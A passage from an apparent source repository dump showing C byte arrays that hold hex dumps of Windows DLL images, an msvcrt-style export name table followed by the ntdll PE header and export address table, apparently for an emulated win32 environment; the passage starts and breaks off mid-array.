\"\\x6E\\x66\\x00\\x73\\x74\\x72\\x63\\x61\\x74\\x00\\x73\\x74\\x72\\x63\\x68\\x72\" // nf.strcat.strchr\n/* 77C2CB30 */ \"\\x00\\x73\\x74\\x72\\x63\\x6D\\x70\\x00\\x73\\x74\\x72\\x63\\x6F\\x6C\\x6C\\x00\" // .strcmp.strcoll.\n/* 77C2CB40 */ \"\\x73\\x74\\x72\\x63\\x70\\x79\\x00\\x73\\x74\\x72\\x63\\x73\\x70\\x6E\\x00\\x73\" // strcpy.strcspn.s\n/* 77C2CB50 */ \"\\x74\\x72\\x65\\x72\\x72\\x6F\\x72\\x00\\x73\\x74\\x72\\x66\\x74\\x69\\x6D\\x65\" // trerror.strftime\n/* 77C2CB60 */ \"\\x00\\x73\\x74\\x72\\x6C\\x65\\x6E\\x00\\x73\\x74\\x72\\x6E\\x63\\x61\\x74\\x00\" // .strlen.strncat.\n/* 77C2CB70 */ \"\\x73\\x74\\x72\\x6E\\x63\\x6D\\x70\\x00\\x73\\x74\\x72\\x6E\\x63\\x70\\x79\\x00\" // strncmp.strncpy.\n/* 77C2CB80 */ \"\\x73\\x74\\x72\\x70\\x62\\x72\\x6B\\x00\\x73\\x74\\x72\\x72\\x63\\x68\\x72\\x00\" // strpbrk.strrchr.\n/* 77C2CB90 */ \"\\x73\\x74\\x72\\x73\\x70\\x6E\\x00\\x73\\x74\\x72\\x73\\x74\\x72\\x00\\x73\\x74\" // strspn.strstr.st\n/* 77C2CBA0 */ \"\\x72\\x74\\x6F\\x64\\x00\\x73\\x74\\x72\\x74\\x6F\\x6B\\x00\\x73\\x74\\x72\\x74\" // rtod.strtok.strt\n/* 77C2CBB0 */ \"\\x6F\\x6C\\x00\\x73\\x74\\x72\\x74\\x6F\\x75\\x6C\\x00\\x73\\x74\\x72\\x78\\x66\" // ol.strtoul.strxf\n/* 77C2CBC0 */ \"\\x72\\x6D\\x00\\x73\\x77\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x73\\x77\\x73\\x63\" // rm.swprintf.swsc\n/* 77C2CBD0 */ \"\\x61\\x6E\\x66\\x00\\x73\\x79\\x73\\x74\\x65\\x6D\\x00\\x74\\x61\\x6E\\x00\\x74\" // anf.system.tan.t\n/* 77C2CBE0 */ \"\\x61\\x6E\\x68\\x00\\x74\\x69\\x6D\\x65\\x00\\x74\\x6D\\x70\\x66\\x69\\x6C\\x65\" // anh.time.tmpfile\n/* 77C2CBF0 */ \"\\x00\\x74\\x6D\\x70\\x6E\\x61\\x6D\\x00\\x74\\x6F\\x6C\\x6F\\x77\\x65\\x72\\x00\" // .tmpnam.tolower.\n/* 77C2CC00 */ \"\\x74\\x6F\\x75\\x70\\x70\\x65\\x72\\x00\\x74\\x6F\\x77\\x6C\\x6F\\x77\\x65\\x72\" // toupper.towlower\n/* 77C2CC10 */ \"\\x00\\x74\\x6F\\x77\\x75\\x70\\x70\\x65\\x72\\x00\\x75\\x6E\\x67\\x65\\x74\\x63\" // .towupper.ungetc\n/* 77C2CC20 */ \"\\x00\\x75\\x6E\\x67\\x65\\x74\\x77\\x63\\x00\\x76\\x66\\x70\\x72\\x69\\x6E\\x74\" // .ungetwc.vfprint\n/* 77C2CC30 */ \"\\x66\\x00\\x76\\x66\\x77\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x76\\x70\\x72\\x69\" // f.vfwprintf.vpri\n/* 77C2CC40 */ \"\\x6E\\x74\\x66\\x00\\x76\\x73\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x76\\x73\\x77\" // ntf.vsprintf.vsw\n/* 77C2CC50 */ \"\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x76\\x77\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\" // printf.vwprintf.\n/* 77C2CC60 */ \"\\x77\\x63\\x73\\x63\\x61\\x74\\x00\\x77\\x63\\x73\\x63\\x68\\x72\\x00\\x77\\x63\" // wcscat.wcschr.wc\n/* 77C2CC70 */ \"\\x73\\x63\\x6D\\x70\\x00\\x77\\x63\\x73\\x63\\x6F\\x6C\\x6C\\x00\\x77\\x63\\x73\" // scmp.wcscoll.wcs\n/* 77C2CC80 */ \"\\x63\\x70\\x79\\x00\\x77\\x63\\x73\\x63\\x73\\x70\\x6E\\x00\\x77\\x63\\x73\\x66\" // cpy.wcscspn.wcsf\n/* 77C2CC90 */ \"\\x74\\x69\\x6D\\x65\\x00\\x77\\x63\\x73\\x6C\\x65\\x6E\\x00\\x77\\x63\\x73\\x6E\" // time.wcslen.wcsn\n/* 77C2CCA0 */ \"\\x63\\x61\\x74\\x00\\x77\\x63\\x73\\x6E\\x63\\x6D\\x70\\x00\\x77\\x63\\x73\\x6E\" // cat.wcsncmp.wcsn\n/* 77C2CCB0 */ \"\\x63\\x70\\x79\\x00\\x77\\x63\\x73\\x70\\x62\\x72\\x6B\\x00\\x77\\x63\\x73\\x72\" // cpy.wcspbrk.wcsr\n/* 77C2CCC0 */ \"\\x63\\x68\\x72\\x00\\x77\\x63\\x73\\x73\\x70\\x6E\\x00\\x77\\x63\\x73\\x73\\x74\" // chr.wcsspn.wcsst\n/* 77C2CCD0 */ \"\\x72\\x00\\x77\\x63\\x73\\x74\\x6F\\x64\\x00\\x77\\x63\\x73\\x74\\x6F\\x6B\\x00\" // r.wcstod.wcstok.\n/* 77C2CCE0 */ \"\\x77\\x63\\x73\\x74\\x6F\\x6C\\x00\\x77\\x63\\x73\\x74\\x6F\\x6D\\x62\\x73\\x00\" // wcstol.wcstombs.\n/* 77C2CCF0 */ \"\\x77\\x63\\x73\\x74\\x6F\\x75\\x6C\\x00\\x77\\x63\\x73\\x78\\x66\\x72\\x6D\\x00\" // wcstoul.wcsxfrm.\n/* 77C2CD00 */ \"\\x77\\x63\\x74\\x6F\\x6D\\x62\\x00\\x77\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x77\" // wctomb.wprintf.w\n/* 77C2CD10 */ \"\\x73\\x63\\x61\\x6E\\x66\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // scanf...........\n/* 77C2CD20 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"; // ................\n\n"
  },
  {
    "path": "src/environment/win32/dlls/ntdll.c",
    "content": "const char ntdll_7C900000[] =\n/* 000000 */   \"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\"   //MZ..........ÿÿ..\n/* 000020 */   \"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //........@.......\n/* 000040 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000060 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD0\\x00\\x00\\x00\"   //............Ð...\n/* 000080 */   \"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\"   //.......Í!..LÍ!Th\n/* 0000A0 */   \"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\"   //is.program.canno\n/* 0000C0 */   \"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x69\\x6E\\x20\\x44\\x4F\\x53\\x20\"   //t.be.run.in.DOS.\n/* 0000E0 */   \"\\x6D\\x6F\\x64\\x65\\x2E\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //mode....$.......\n/* 000100 */   \"\\x0D\\x52\\xC0\\x58\\x49\\x33\\xAE\\x0B\\x49\\x33\\xAE\\x0B\\x49\\x33\\xAE\\x0B\"   //.RÀXI3..I3..I3..\n/* 000120 */   \"\\x8A\\x3C\\xF2\\x0B\\x48\\x33\\xAE\\x0B\\x8A\\x3C\\xF0\\x0B\\x48\\x33\\xAE\\x0B\"   //.<ò.H3...<ð.H3..\n/* 000140 */   \"\\x8A\\x3C\\xA1\\x0B\\x08\\x33\\xAE\\x0B\\x8A\\x3C\\xCE\\x0B\\x4A\\x33\\xAE\\x0B\"   //.<...3...<Î.J3..\n/* 000160 */   \"\\x8A\\x3C\\xF1\\x0B\\x9A\\x33\\xAE\\x0B\\x8A\\x3C\\xF4\\x0B\\x48\\x33\\xAE\\x0B\"   //.<ñ..3...<ô.H3..\n/* 000180 */   \"\\x52\\x69\\x63\\x68\\x49\\x33\\xAE\\x0B\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //RichI3..........\n/* 0001A0 */   \"\\x50\\x45\\x00\\x00\\x4C\\x01\\x04\\x00\\x48\\x1D\\x90\\x49\\x5B\\x4C\\x6F\\x72\"   //PE..L...H..I[Lor\n/* 0001C0 */   \"\\x64\\x50\\x45\\x5D\\xE0\\x00\\x0E\\x21\\x0B\\x01\\x07\\x0A\\x00\\xC2\\x07\\x00\"   //dPE]à..!.....Â..\n/* 0001E0 */   \"\\x00\\x3A\\x03\\x00\\x00\\x00\\x00\\x00\\x48\\x2C\\x01\\x00\\x00\\x10\\x00\\x00\"   //.:......H,......\n/* 000200 */   \"\\x00\\x80\\x07\\x00\\x00\\x00\\x90\\x7C\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\"   //.......|........\n/* 000220 */   \"\\x05\\x00\\x01\\x00\\x05\\x00\\x01\\x00\\x04\\x00\\x0A\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000240 */   \"\\x00\\x20\\x0B\\x00\\x00\\x10\\x00\\x00\\x74\\xC6\\x0B\\x00\\x03\\x00\\x00\\x00\"   //........tÆ......\n/* 000260 */   \"\\x00\\x00\\x04\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00\"   //................\n/* 000280 */   \"\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x34\\x00\\x00\\x5E\\x9A\\x00\\x00\"   //.........4..^...\n/* 0002A0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x30\\x08\\x00\\x78\\xBE\\x02\\x00\"   //.........0..x...\n/* 0002C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 0002E0 */   \"\\x00\\xF0\\x0A\\x00\\xB8\\x2E\\x00\\x00\\x84\\xD1\\x07\\x00\\x38\\x00\\x00\\x00\"   //.ð.......Ñ..8...\n/* 000300 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000320 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA0\\x11\\x05\\x00\\x40\\x00\\x00\\x00\"   //............@...\n/* 000340 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000360 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000380 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2E\\x74\\x65\\x78\\x74\\x00\\x00\\x00\"   //.........text...\n/* 0003A0 */   \"\\xE2\\xC1\\x07\\x00\\x00\\x10\\x00\\x00\\xE2\\xC1\\x07\\x00\\x00\\x10\\x00\\x00\"   //âÁ......âÁ......\n/* 0003C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x60\"   //...............`\n/* 0003E0 */   \"\\x2E\\x64\\x61\\x74\\x61\\x00\\x00\\x00\\x00\\x4A\\x00\\x00\\x00\\xE0\\x07\\x00\"   //.data....J...à..\n/* 000400 */   \"\\x00\\x4A\\x00\\x00\\x00\\xE0\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //.J...à..........\n/* 000420 */   \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\xC0\\x2E\\x72\\x73\\x72\\x63\\x00\\x00\\x00\"   //....@..À.rsrc...\n/* 000440 */   \"\\x78\\xBE\\x02\\x00\\x00\\x30\\x08\\x00\\x78\\xBE\\x02\\x00\\x00\\x30\\x08\\x00\"   //x....0..x....0..\n/* 000460 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x40\"   //............@..@\n/* 000480 */   \"\\x2E\\x72\\x65\\x6C\\x6F\\x63\\x00\\x00\\xB8\\x2E\\x00\\x00\\x00\\xF0\\x0A\\x00\"   //.reloc.......ð..\n/* 0004A0 */   \"\\xB8\\x2E\\x00\\x00\\x00\\xF0\\x0A\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //.....ð..........\n/* 0004C0 */   \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x42\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //....@..B........\n/* 0004E0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 000500 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n;\n\nconst char ntdll_7c903400[] =\n/* 000000 */   \"\\x00\\x00\\x00\\x00\\xA2\\x18\\x8C\\x49\\x00\\x00\\x00\\x00\\x90\\x67\\x00\\x00\"   //.......I.....g..\n/* 000020 */   \"\\x01\\x00\\x00\\x00\\x24\\x05\\x00\\x00\\x24\\x05\\x00\\x00\\x28\\x34\\x00\\x00\"   //....$...$...(4..\n/* 000040 */   \"\\xB8\\x48\\x00\\x00\\x48\\x5D\\x00\\x00\\x2B\\x9D\\x05\\x00\\x93\\x9C\\x05\\x00\"   //.H..H]..+.......\n/* 000060 */   \"\\xF5\\x9B\\x05\\x00\\xD0\\x2A\\x00\\x00\\x30\\x2B\\x00\\x00\\x40\\x2B\\x00\\x00\"   //õ...Ð*..0+..@+..\n/* 000080 */   \"\\x20\\x2B\\x00\\x00\\x78\\xEB\\x01\\x00\\xD9\\xEB\\x01\\x00\\xCF\\xE3\\x01\\x00\"   //.+..xë..Ùë..Ïã..\n/* 0000A0 */   \"\\x4D\\x06\\x02\\x00\\x0E\\x07\\x02\\x00\\x6A\\x1C\\x05\\x00\\x91\\x2D\\x01\\x00\"   //M.......j....-..\n/* 0000C0 */   \"\\x07\\x12\\x02\\x00\\x1F\\xEB\\x01\\x00\\x5F\\x1C\\x05\\x00\\xDA\\x1B\\x05\\x00\"   //.....ë.._...Ú...\n/* 0000E0 */   \"\\xAA\\xB0\\x01\\x00\\xEB\\x1C\\x05\\x00\\x9D\\x1C\\x05\\x00\\x16\\x1C\\x05\\x00\"   //....ë...........\n/* 000100 */   \"\\x0E\\x12\\x00\\x00\\x6F\\xFB\\x02\\x00\\xF5\\xEA\\x01\\x00\\xB2\\x9E\\x05\\x00\"   //....oû..õê......\n/* 000120 */   \"\\xA1\\x9F\\x05\\x00\\xE7\\x9F\\x05\\x00\\xF7\\x9F\\x05\\x00\\x21\\x1D\\x05\\x00\"   //....ç...÷...!...\n/* 000140 */   \"\\xCC\\x1D\\x05\\x00\\xF4\\x1E\\x05\\x00\\xB2\\x1E\\x05\\x00\\x76\\x1D\\x05\\x00\"   //Ì...ô.......v...\n/* 000160 */   \"\\x71\\x1E\\x05\\x00\\x13\\x1E\\x05\\x00\\x88\\x1D\\x05\\x00\\xF1\\x1D\\x05\\x00\"   //q...........ñ...\n/* 000180 */   \"\\xA5\\x1D\\x05\\x00\\x12\\x12\\x00\\x00\\x10\\xE5\\x00\\x00\\x14\\xE5\\x00\\x00\"   //.........å...å..\n/* 0001A0 */   \"\\x20\\xE5\\x00\\x00\\xC8\\xE4\\x00\\x00\\x50\\xE4\\x00\\x00\\x60\\xE4\\x00\\x00\"   //.å..Èä..Pä..`ä..\n/* 0001C0 */   \"\\x7C\\xE4\\x00\\x00\\xB8\\x09\\x02\\x00\\xA8\\x27\\x01\\x00\\x05\\xCB\\x02\\x00\"   //|ä.......'...Ë..\n/* 0001E0 */   \"\\x8F\\x88\\x04\\x00\\xC3\\x01\\x02\\x00\\xDD\\x02\\x02\\x00\\xFB\\xD6\\x01\\x00\"   //....Ã...Ý...ûÖ..\n/* 000200 */   \"\\x10\\xA1\\x05\\x00\\x05\\x14\\x02\\x00\\x25\\xFE\\x01\\x00\\x7B\\xA0\\x05\\x00\"   //........%þ..{...\n/* 000220 */   \"\\x6D\\xC2\\x01\\x00\\x3E\\xAE\\x05\\x00\\x87\\x27\\x01\\x00\\x52\\xED\\x02\\x00\"   //mÂ..>....'..Rí..\n/* 000240 */   \"\\xA0\\x66\\x01\\x00\\xC1\\x66\\x01\\x00\\xA8\\x7E\\x01\\x00\\xDE\\x21\\x05\\x00\"   //.f..Áf...~..Þ!..\n/* 000260 */   \"\\xC2\\x2C\\x05\\x00\\x66\\x11\\x00\\x00\\x08\\x28\\x01\\x00\\xC3\\x63\\x01\\x00\"   //Â,..f....(..Ãc..\n/* 000280 */   \"\\x63\\x2C\\x01\\x00\\x2C\\xB5\\x05\\x00\\xA3\\xCC\\x01\\x00\\x31\\x2A\\x05\\x00\"   //c,..,....Ì..1*..\n/* 0002A0 */   \"\\x51\\x2A\\x05\\x00\\x1F\\x22\\x02\\x00\\xD8\\x3B\\x02\\x00\\x56\\x39\\x01\\x00\"   //Q*...\"..Ø;..V9..\n/* 0002C0 */   \"\\x51\\x99\\x01\\x00\\x8B\\x73\\x01\\x00\\x19\\x2D\\x01\\x00\\x3C\\x0A\\x03\\x00\"   //Q....s...-..<...\n/* 0002E0 */   \"\\x98\\xE0\\x07\\x00\\xA0\\xE0\\x07\\x00\\xA8\\xE0\\x07\\x00\\x5E\\xCE\\x00\\x00\"   //.à...à...à..^Î..\n/* 000300 */   \"\\x6E\\xCE\\x00\\x00\\x7E\\xCE\\x00\\x00\\x8E\\xCE\\x00\\x00\\x9E\\xCE\\x00\\x00\"   //nÎ..~Î...Î...Î..\n/* 000320 */   \"\\xAE\\xCE\\x00\\x00\\xBE\\xCE\\x00\\x00\\xCE\\xCE\\x00\\x00\\xDE\\xCE\\x00\\x00\"   //.Î...Î..ÎÎ..ÞÎ..\n/* 000340 */   \"\\xEE\\xCE\\x00\\x00\\xFE\\xCE\\x00\\x00\\x0E\\xCF\\x00\\x00\\x1E\\xCF\\x00\\x00\"   //îÎ..þÎ...Ï...Ï..\n/* 000360 */   \"\\x2E\\xCF\\x00\\x00\\x3E\\xCF\\x00\\x00\\x4E\\xCF\\x00\\x00\\x5E\\xCF\\x00\\x00\"   //.Ï..>Ï..NÏ..^Ï..\n/* 000380 */   \"\\x6E\\xCF\\x00\\x00\\x7E\\xCF\\x00\\x00\\x8E\\xCF\\x00\\x00\\x9E\\xCF\\x00\\x00\"   //nÏ..~Ï...Ï...Ï..\n/* 0003A0 */   \"\\xAE\\xCF\\x00\\x00\\xBE\\xCF\\x00\\x00\\xCE\\xCF\\x00\\x00\\xDE\\xCF\\x00\\x00\"   //.Ï...Ï..ÎÏ..ÞÏ..\n/* 0003C0 */   \"\\xEE\\xCF\\x00\\x00\\xFE\\xCF\\x00\\x00\\x0E\\xD0\\x00\\x00\\x1E\\xD0\\x00\\x00\"   //îÏ..þÏ...Ð...Ð..\n/* 0003E0 */   \"\\x2E\\xD0\\x00\\x00\\x3E\\xD0\\x00\\x00\\x4E\\xD0\\x00\\x00\\x5E\\xD0\\x00\\x00\"   //.Ð..>Ð..NÐ..^Ð..\n/* 000400 */   \"\\x6E\\xD0\\x00\\x00\\x7E\\xD0\\x00\\x00\\x8E\\xD0\\x00\\x00\\x9E\\xD0\\x00\\x00\"   //nÐ..~Ð...Ð...Ð..\n/* 000420 */   \"\\xAE\\xD0\\x00\\x00\\xBE\\xD0\\x00\\x00\\xCE\\xD0\\x00\\x00\\xDE\\xD0\\x00\\x00\"   //.Ð...Ð..ÎÐ..ÞÐ..\n/* 000440 */   \"\\xEE\\xD0\\x00\\x00\\xCE\\xDF\\x00\\x00\\xFE\\xD0\\x00\\x00\\x0E\\xD1\\x00\\x00\"   //îÐ..Îß..þÐ...Ñ..\n/* 000460 */   \"\\x1E\\xD1\\x00\\x00\\x2E\\xD1\\x00\\x00\\x3E\\xD1\\x00\\x00\\x4E\\xD1\\x00\\x00\"   //.Ñ...Ñ..>Ñ..NÑ..\n/* 000480 */   \"\\x5E\\xD1\\x00\\x00\\x6E\\xD1\\x00\\x00\\x7E\\xD1\\x00\\x00\\x8E\\xD1\\x00\\x00\"   //^Ñ..nÑ..~Ñ...Ñ..\n/* 0004A0 */   \"\\x9E\\xD1\\x00\\x00\\xAE\\xD1\\x00\\x00\\xBE\\xD1\\x00\\x00\\xCE\\xD1\\x00\\x00\"   //.Ñ...Ñ...Ñ..ÎÑ..\n/* 0004C0 */   \"\\xDE\\xD1\\x00\\x00\\x1E\\x12\\x00\\x00\\xEE\\xD1\\x00\\x00\\xFE\\xD1\\x00\\x00\"   //ÞÑ......îÑ..þÑ..\n/* 0004E0 */   \"\\x0E\\xD2\\x00\\x00\\x1E\\xD2\\x00\\x00\\x2E\\xD2\\x00\\x00\\x3E\\xD2\\x00\\x00\"   //.Ò...Ò...Ò..>Ò..\n/* 000500 */   \"\\x4E\\xD2\\x00\\x00\\x5E\\xD2\\x00\\x00\\x6E\\xD2\\x00\\x00\\x7E\\xD2\\x00\\x00\"   //NÒ..^Ò..nÒ..~Ò..\n/* 000520 */   \"\\x8E\\xD2\\x00\\x00\\x9E\\xD2\\x00\\x00\\xAE\\xD2\\x00\\x00\\xBE\\xD2\\x00\\x00\"   //.Ò...Ò...Ò...Ò..\n/* 000540 */   \"\\xCE\\xD2\\x00\\x00\\xDE\\xD2\\x00\\x00\\xEE\\xD2\\x00\\x00\\xFE\\xD2\\x00\\x00\"   //ÎÒ..ÞÒ..îÒ..þÒ..\n/* 000560 */   \"\\x0E\\xD3\\x00\\x00\\x1E\\xD3\\x00\\x00\\x2E\\xD3\\x00\\x00\\x3E\\xD3\\x00\\x00\"   //.Ó...Ó...Ó..>Ó..\n/* 000580 */   \"\\x4E\\xD3\\x00\\x00\\x5E\\xD3\\x00\\x00\\x6E\\xD3\\x00\\x00\\x7E\\xD3\\x00\\x00\"   //NÓ..^Ó..nÓ..~Ó..\n/* 0005A0 */   \"\\x8E\\xD3\\x00\\x00\\x9E\\xD3\\x00\\x00\\xAE\\xD3\\x00\\x00\\xBE\\xD3\\x00\\x00\"   //.Ó...Ó...Ó...Ó..\n/* 0005C0 */   \"\\xCE\\xD3\\x00\\x00\\xDE\\xD3\\x00\\x00\\xEE\\xD3\\x00\\x00\\xFE\\xD3\\x00\\x00\"   //ÎÓ..ÞÓ..îÓ..þÓ..\n/* 0005E0 */   \"\\x0E\\xD4\\x00\\x00\\x1E\\xD4\\x00\\x00\\x2E\\xD4\\x00\\x00\\x3E\\xD4\\x00\\x00\"   //.Ô...Ô...Ô..>Ô..\n/* 000600 */   \"\\x4E\\xD4\\x00\\x00\\x5E\\xD4\\x00\\x00\\x6E\\xD4\\x00\\x00\\x8E\\xD4\\x00\\x00\"   //NÔ..^Ô..nÔ...Ô..\n/* 000620 */   \"\\x7E\\xD4\\x00\\x00\\x9E\\xD4\\x00\\x00\\xAE\\xD4\\x00\\x00\\xBE\\xD4\\x00\\x00\"   //~Ô...Ô...Ô...Ô..\n/* 000640 */   \"\\xCE\\xD4\\x00\\x00\\xDE\\xD4\\x00\\x00\\xEE\\xD4\\x00\\x00\\xFE\\xD4\\x00\\x00\"   //ÎÔ..ÞÔ..îÔ..þÔ..\n/* 000660 */   \"\\x0E\\xD5\\x00\\x00\\x1E\\xD5\\x00\\x00\\x2E\\xD5\\x00\\x00\\x3E\\xD5\\x00\\x00\"   //.Õ...Õ...Õ..>Õ..\n/* 000680 */   \"\\x4E\\xD5\\x00\\x00\\x5E\\xD5\\x00\\x00\\x6E\\xD5\\x00\\x00\\x7E\\xD5\\x00\\x00\"   //NÕ..^Õ..nÕ..~Õ..\n/* 0006A0 */   \"\\x8E\\xD5\\x00\\x00\\x9E\\xD5\\x00\\x00\\xAE\\xD5\\x00\\x00\\xBE\\xD5\\x00\\x00\"   //.Õ...Õ...Õ...Õ..\n/* 0006C0 */   \"\\xCE\\xD5\\x00\\x00\\xDE\\xDF\\x00\\x00\\xDE\\xD5\\x00\\x00\\xEE\\xD5\\x00\\x00\"   //ÎÕ..Þß..ÞÕ..îÕ..\n/* 0006E0 */   \"\\xFE\\xD5\\x00\\x00\\x0E\\xD6\\x00\\x00\\x1E\\xD6\\x00\\x00\\x2E\\xD6\\x00\\x00\"   //þÕ...Ö...Ö...Ö..\n/* 000700 */   \"\\x3E\\xD6\\x00\\x00\\x4E\\xD6\\x00\\x00\\x5E\\xD6\\x00\\x00\\x6E\\xD6\\x00\\x00\"   //>Ö..NÖ..^Ö..nÖ..\n/* 000720 */   \"\\x7E\\xD6\\x00\\x00\\x8E\\xD6\\x00\\x00\\x9E\\xD6\\x00\\x00\\xAE\\xD6\\x00\\x00\"   //~Ö...Ö...Ö...Ö..\n/* 000740 */   \"\\xBE\\xD6\\x00\\x00\\xCE\\xD6\\x00\\x00\\xDE\\xD6\\x00\\x00\\xEE\\xD6\\x00\\x00\"   //.Ö..ÎÖ..ÞÖ..îÖ..\n/* 000760 */   \"\\xFE\\xD6\\x00\\x00\\x0E\\xD7\\x00\\x00\\x1E\\xD7\\x00\\x00\\x2E\\xD7\\x00\\x00\"   //þÖ...×...×...×..\n/* 000780 */   \"\\x3E\\xD7\\x00\\x00\\x4E\\xD7\\x00\\x00\\x5E\\xD7\\x00\\x00\\x6E\\xD7\\x00\\x00\"   //>×..N×..^×..n×..\n/* 0007A0 */   \"\\x7E\\xD7\\x00\\x00\\x8E\\xD7\\x00\\x00\\x9E\\xD7\\x00\\x00\\xAE\\xD7\\x00\\x00\"   //~×...×...×...×..\n/* 0007C0 */   \"\\xBE\\xD7\\x00\\x00\\xCE\\xD7\\x00\\x00\\xDE\\xD7\\x00\\x00\\xEE\\xD7\\x00\\x00\"   //.×..Î×..Þ×..î×..\n/* 0007E0 */   \"\\xFE\\xD7\\x00\\x00\\x0E\\xD8\\x00\\x00\\x1E\\xD8\\x00\\x00\\x2E\\xD8\\x00\\x00\"   //þ×...Ø...Ø...Ø..\n/* 000800 */   \"\\x3E\\xD8\\x00\\x00\\x4E\\xD8\\x00\\x00\\x5E\\xD8\\x00\\x00\\x6E\\xD8\\x00\\x00\"   //>Ø..NØ..^Ø..nØ..\n/* 000820 */   \"\\x7E\\xD8\\x00\\x00\\x8E\\xD8\\x00\\x00\\x9E\\xD8\\x00\\x00\\xAE\\xD8\\x00\\x00\"   //~Ø...Ø...Ø...Ø..\n/* 000840 */   \"\\x0E\\xE0\\x00\\x00\\xBE\\xD8\\x00\\x00\\xCE\\xD8\\x00\\x00\\xDE\\xD8\\x00\\x00\"   //.à...Ø..ÎØ..ÞØ..\n/* 000860 */   \"\\xEE\\xD8\\x00\\x00\\xFE\\xD8\\x00\\x00\\x0E\\xD9\\x00\\x00\\x1E\\xD9\\x00\\x00\"   //îØ..þØ...Ù...Ù..\n/* 000880 */   \"\\x2E\\xD9\\x00\\x00\\x3E\\xD9\\x00\\x00\\x4E\\xD9\\x00\\x00\\x5E\\xD9\\x00\\x00\"   //.Ù..>Ù..NÙ..^Ù..\n/* 0008A0 */   \"\\x6E\\xD9\\x00\\x00\\x7E\\xD9\\x00\\x00\\x8E\\xD9\\x00\\x00\\x9E\\xD9\\x00\\x00\"   //nÙ..~Ù...Ù...Ù..\n/* 0008C0 */   \"\\xAE\\xD9\\x00\\x00\\xBE\\xD9\\x00\\x00\\xCE\\xD9\\x00\\x00\\xDE\\xD9\\x00\\x00\"   //.Ù...Ù..ÎÙ..ÞÙ..\n/* 0008E0 */   \"\\xEE\\xD9\\x00\\x00\\xFE\\xD9\\x00\\x00\\x0E\\xDA\\x00\\x00\\xEE\\xDF\\x00\\x00\"   //îÙ..þÙ...Ú..îß..\n/* 000900 */   \"\\x1E\\xDA\\x00\\x00\\x2E\\xDA\\x00\\x00\\x3E\\xDA\\x00\\x00\\x4E\\xDA\\x00\\x00\"   //.Ú...Ú..>Ú..NÚ..\n/* 000920 */   \"\\x5E\\xDA\\x00\\x00\\x6E\\xDA\\x00\\x00\\x7E\\xDA\\x00\\x00\\x8E\\xDA\\x00\\x00\"   //^Ú..nÚ..~Ú...Ú..\n/* 000940 */   \"\\x9E\\xDA\\x00\\x00\\xAE\\xDA\\x00\\x00\\xBE\\xDA\\x00\\x00\\xCE\\xDA\\x00\\x00\"   //.Ú...Ú...Ú..ÎÚ..\n/* 000960 */   \"\\xDE\\xDA\\x00\\x00\\xEE\\xDA\\x00\\x00\\xFE\\xDA\\x00\\x00\\x0E\\xDB\\x00\\x00\"   //ÞÚ..îÚ..þÚ...Û..\n/* 000980 */   \"\\x1E\\xDB\\x00\\x00\\x2E\\xDB\\x00\\x00\\x3E\\xDB\\x00\\x00\\x4E\\xDB\\x00\\x00\"   //.Û...Û..>Û..NÛ..\n/* 0009A0 */   